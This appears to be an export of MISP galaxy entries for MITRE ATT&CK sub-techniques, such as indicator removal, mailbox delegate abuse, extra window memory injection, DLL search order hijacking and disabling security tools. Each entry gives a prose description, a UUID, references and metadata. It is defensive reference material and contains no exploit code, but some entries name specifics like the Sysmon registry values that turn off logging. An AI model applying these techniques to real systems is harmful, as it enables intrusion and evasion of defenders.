Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.
A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.
Internal MISP references
UUID b0533c6e-8fea-4788-874f-b799cacc4b92 which can be used as unique global reference for Indicator Removal from Tools - T1027.005 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1027.005 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Application Log: Application Log Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Additional Email Delegate Permissions - T1098.002
Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.
For example, the Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe)
Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Mandiant Defend UNC2452 White Paper)
This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add Additional Cloud Roles to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: Internal Spearphishing), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)
Internal MISP references
UUID e74de37c-a829-446c-937d-56a44f0e9306 which can be used as unique global reference for Additional Email Delegate Permissions - T1098.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1098/002 - webarchive
- https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps - webarchive
- https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html - webarchive
- https://support.google.com/a/answer/7223765?hl=en - webarchive
- https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/ - webarchive
- https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf - webarchive
- https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452 - webarchive
- https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1098.002 |
| kill_chain | ['attack-Windows:persistence', 'attack-Office-365:persistence', 'attack-Google-Workspace:persistence', 'attack-Windows:privilege-escalation', 'attack-Office-365:privilege-escalation', 'attack-Google-Workspace:privilege-escalation'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Group: Group Modification', 'User Account: User Account Modification'] |
| mitre_platforms | ['Windows', 'Office 365', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Masquerade Task or Service - T1036.004
Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.
Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)
Internal MISP references
UUID 7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c which can be used as unique global reference for Masquerade Task or Service - T1036.004 in MISP communities and other software using the MISP galaxy
External references
- http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/ - webarchive
- https://attack.mitre.org/techniques/T1036/004 - webarchive
- https://technet.microsoft.com/en-us/library/bb490996.aspx - webarchive
- https://vms.drweb.com/virus/?i=4276269 - webarchive
- https://www.freedesktop.org/software/systemd/man/systemd.service.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1036.004 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Scheduled Job: Scheduled Job Metadata', 'Scheduled Job: Scheduled Job Modification', 'Service: Service Creation', 'Service: Service Metadata'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Archive via Custom Method - T1560.003
An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)
Internal MISP references
UUID 143c0cbb-a297-4142-9624-87ffc778980b which can be used as unique global reference for Archive via Custom Method - T1560.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1560.003 |
| kill_chain | ['attack-Linux:collection', 'attack-macOS:collection', 'attack-Windows:collection'] |
| mitre_data_sources | ['File: File Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Additional Container Cluster Roles - T1098.006
An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)
This account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised.
Note that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes Service Service Accounts) In these cases, this technique may be used in conjunction with Additional Cloud Roles.
Internal MISP references
UUID 35d30338-5bfa-41b0-a170-ec06dfd75f64 which can be used as unique global reference for Additional Container Cluster Roles - T1098.006 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1098/006 - webarchive
- https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters - webarchive
- https://cloud.google.com/kubernetes-engine/docs/how-to/iam - webarchive
- https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html - webarchive
- https://kubernetes.io/docs/concepts/security/rbac-good-practices/ - webarchive
- https://kubernetes.io/docs/reference/access-authn-authz/abac/ - webarchive
- https://learn.microsoft.com/en-us/azure/aks/concepts-identity - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1098.006 |
| kill_chain | ['attack-Containers:persistence', 'attack-Containers:privilege-escalation'] |
| mitre_data_sources | ['User Account: User Account Modification'] |
| mitre_platforms | ['Containers'] |
Related clusters
To see the related clusters, click here.
Extra Window Memory Injection - T1055.011
Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)
Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.
Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.
Internal MISP references
UUID 0042a9f5-f053-4769-b3ef-9ad018dfa298 which can be used as unique global reference for Extra Window Memory Injection - T1055.011 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1055/011 - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
- https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html - webarchive
- https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1055.011 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Process: OS API Execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Create Process with Token - T1134.002
Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)
Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.
While this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.
Internal MISP references
UUID 677569f9-a8b0-459e-ab24-7f18091fa7bf which can be used as unique global reference for Create Process with Token - T1134.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1134/002 - webarchive
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11) - webarchive
- https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1134.002 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Code Signing Policy Modification - T1632.001
Adversaries may modify code signing policies to enable execution of applications signed with unofficial or unknown keys. Code signing provides a level of authenticity on an app from a developer, guaranteeing that the program has not been tampered with and comes from an official source. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on a device.
Mobile devices generally enable these security controls by default, such as preventing the installation of unknown applications on Android. Adversaries may modify these policies in a number of ways, including Input Injection or malicious configuration profiles.
Internal MISP references
UUID fcb11f06-ce0e-490b-bcc1-04a1623579f0 which can be used as unique global reference for Code Signing Policy Modification - T1632.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1632.001 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
System Runtime API Hijacking - T1625.001
Adversaries may execute their own malicious payloads by hijacking the way an operating system runs applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur at later points in time.
On Android, adversaries may overwrite the standard OS API library with a malicious alternative to hook into core functions to achieve persistence. By doing this, the adversary’s code will be executed every time the overwritten API function is called by an app on the infected device.
Internal MISP references
UUID c6e17ca2-08b5-4379-9786-89bd05241831 which can be used as unique global reference for System Runtime API Hijacking - T1625.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1625.001 |
| kill_chain | ['mobile-attack-Android:persistence'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Disable or Modify Tools - T1562.001
Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)
Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to Indicator Blocking, adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)
Adversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging)
On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)
In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.
Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)
Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. Exploitation for Privilege Escalation), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)
Internal MISP references
UUID ac08589e-ee59-4935-8667-d845e38fe579 which can be used as unique global reference for Disable or Modify Tools - T1562.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1562/001 - webarchive
- https://cdn.logic-control.com/docs/scadafence/Anatomy-Of-A-Targeted-Ransomware-Attack-WP.pdf - webarchive
- https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ - webarchive
- https://ptylu.github.io/content/report/report.html?report=25 - webarchive
- https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/demystifying-ransomware-attacks-against-microsoft-defender/ba-p/1928947 - webarchive
- https://thehackernews.com/2022/05/avoslocker-ransomware-variant-using-new.html - webarchive
- https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/ - webarchive
- https://www.crowdstrike.com/blog/targeted-dharma-ransomware-intrusions-exhibit-consistent-techniques/ - webarchive
- https://www.fortinet.com/blog/psirt-blogs/fg-ir-22-369-psirt-analysis - webarchive
- https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem - webarchive
- https://www.mandiant.com/resources/chasing-avaddon-ransomware - webarchive
- https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1562.001 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Linux:defense-evasion', 'attack-Containers:defense-evasion', 'attack-IaaS:defense-evasion', 'attack-Network:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Driver: Driver Load', 'Process: Process Creation', 'Process: Process Termination', 'Sensor Health: Host Status', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Deletion', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux', 'Containers', 'IaaS', 'Network'] |
Related clusters
To see the related clusters, click here.
Compromise Software Supply Chain - T1195.002
Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.
Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011)
Internal MISP references
UUID bd369cd9-abb8-41ce-b5bb-fff23ee86c00 which can be used as unique global reference for Compromise Software Supply Chain - T1195.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1195.002 |
| kill_chain | ['attack-Linux:initial-access', 'attack-macOS:initial-access', 'attack-Windows:initial-access'] |
| mitre_data_sources | ['File: File Metadata'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Make and Impersonate Token - T1134.003
Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the LogonUser function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.
This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.
Internal MISP references
UUID 8cdeb020-e31e-4f88-a582-f53dcfbda819 which can be used as unique global reference for Make and Impersonate Token - T1134.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1134.003 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Compromise Hardware Supply Chain - T1195.003
Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.
Internal MISP references
UUID 39131305-9282-45e4-ac3b-591d2d4fc3ef which can be used as unique global reference for Compromise Hardware Supply Chain - T1195.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1195.003 |
| kill_chain | ['attack-Linux:initial-access', 'attack-macOS:initial-access', 'attack-Windows:initial-access'] |
| mitre_data_sources | ['Sensor Health: Host Status'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Change Default File Association - T1546.001
Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
System file associations are listed under HKEY_CLASSES_ROOT.[extension], for example HKEY_CLASSES_ROOT.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]\shell\[action]\command. For example:
HKEY_CLASSES_ROOT\txtfile\shell\open\commandHKEY_CLASSES_ROOT\txtfile\shell\print\commandHKEY_CLASSES_ROOT\txtfile\shell\printto\command
The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)
Internal MISP references
UUID 98034fef-d9fb-4667-8dc4-2eab6231724c which can be used as unique global reference for Change Default File Association - T1546.001 in MISP communities and other software using the MISP galaxy
External references
- http://msdn.microsoft.com/en-us/library/bb166549.aspx - webarchive
- https://attack.mitre.org/techniques/T1546/001 - webarchive
- https://docs.microsoft.com/windows-server/administration/windows-commands/assoc - webarchive
- https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs - webarchive
- https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.001 |
| kill_chain | ['attack-Windows:privilege-escalation', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Hidden Files and Directories - T1564.001
Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).
On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.
Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.
Internal MISP references
UUID ec8fc7e2-b356-455c-8db5-2e37be158e7d which can be used as unique global reference for Hidden Files and Directories - T1564.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1564/001 - webarchive
- https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ - webarchive
- https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - webarchive
- https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1564.001 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Linux:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Metadata', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Related clusters
To see the related clusters, click here.
DLL Search Order Hijacking - T1574.001
Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.
There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)
Phantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.
Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)
If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
Internal MISP references
UUID 2fee9321-3e71-4cf4-af24-d4d40d355b34 which can be used as unique global reference for DLL Search Order Hijacking - T1574.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1574/001 - webarchive
- https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637 - webarchive
- https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN - webarchive
- https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN - webarchive
- https://msdn.microsoft.com/en-US/library/aa375365 - webarchive
- https://www.crowdstrike.com/blog/4-ways-adversaries-hijack-dlls/ - webarchive
- https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html - webarchive
- https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html - webarchive
- https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html - webarchive
- https://www.owasp.org/index.php/Binary_planting - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1574.001 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Creation', 'File: File Modification', 'Module: Module Load'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Services File Permissions Weakness - T1574.010
Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
Internal MISP references
UUID 9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd which can be used as unique global reference for Services File Permissions Weakness - T1574.010 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1574.010 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Service: Service Metadata'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Exfiltration to Code Repository - T1567.001
Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.
Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network.
Internal MISP references
UUID 86a96bf6-cf8b-411c-aaeb-8959944d64f7 which can be used as unique global reference for Exfiltration to Code Repository - T1567.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1567.001 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Network Address Translation Traversal - T1599.001
Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.
Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)
When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.
Adversaries may use Patch System Image to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities
Internal MISP references
UUID 4ffc1794-ec3b-45be-9e52-42dbcb2af2de which can be used as unique global reference for Network Address Translation Traversal - T1599.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1599.001 |
| kill_chain | ['attack-Network:defense-evasion'] |
